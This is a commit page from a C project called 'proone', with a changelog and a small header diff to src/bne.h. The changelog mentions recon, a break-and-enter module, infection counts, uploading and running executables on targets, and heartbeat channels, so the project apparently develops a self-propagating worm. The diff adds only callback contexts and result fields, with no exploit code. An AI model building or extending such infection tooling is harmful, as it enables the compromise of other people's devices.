diff options
author | David Timber <mieabby@gmail.com> | 2020-09-27 22:51:11 +0930 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-09-27 22:51:11 +0930 |
commit | 86038b950f0aaddca7108e903568159414a8d64a (patch) | |
tree | 122ff054b79ac91dc615f2248674fa4944ccdb17 /src/bne.h | |
parent | 9f948554902e67cd796dd0635a3c632ccd40c206 (diff) |
* Disable armv7, aarch64, x86_64 target
* Apply recon and bne to proone
* Add callback contexts on htbt and bne
* Fix mem leak in bne_sh_cleanup_upload()
* Use prne_static_assert() instead of _Static_assert()
* Use prne_free_worker() rather than calling free_ctx()
* Add prne_eq_ipaddr()
* bne
* Add prne_bne_result::ny_instance to impl infect_cnt
* Don't delete tmp upload dir after successful bne_sh_run_exec() so
that proone can make tmp files
* Silently ignore PRNE_BNE_V_HTBT if htbt_ssl_conf is not set
* Add prne_bne_get_subject()
* htbt
* Fix crash bug when running without resolv
* proone: set pth priority
Diffstat (limited to 'src/bne.h')
-rw-r--r-- | src/bne.h | 9 |
1 files changed, 6 insertions, 3 deletions
@@ -35,10 +35,11 @@ struct prne_bne_param { size_t cnt; } vector; struct { - char *(*exec_name)(void); - bool (*enter_dd)(void); - void (*exit_dd)(void); + char *(*exec_name)(void *ctx); + bool (*enter_dd)(void *ctx); + void (*exit_dd)(void *ctx); } cb; + void *cb_ctx; struct { const uint8_t *m_self; size_t self_len; @@ -62,6 +63,7 @@ struct prne_bne_result { prne_bne_vector_t vec; prne_pack_rc_t prc; prne_arch_t arch; + bool ny_instance; }; void prne_init_bne_param (prne_bne_param_t *p); @@ -73,3 +75,4 @@ prne_bne_t *prne_alloc_bne ( prne_worker_t *w, mbedtls_ctr_drbg_context *ctr_drbg, const prne_bne_param_t *param); +const prne_ip_addr_t *prne_bne_get_subject (const prne_bne_t *bne); |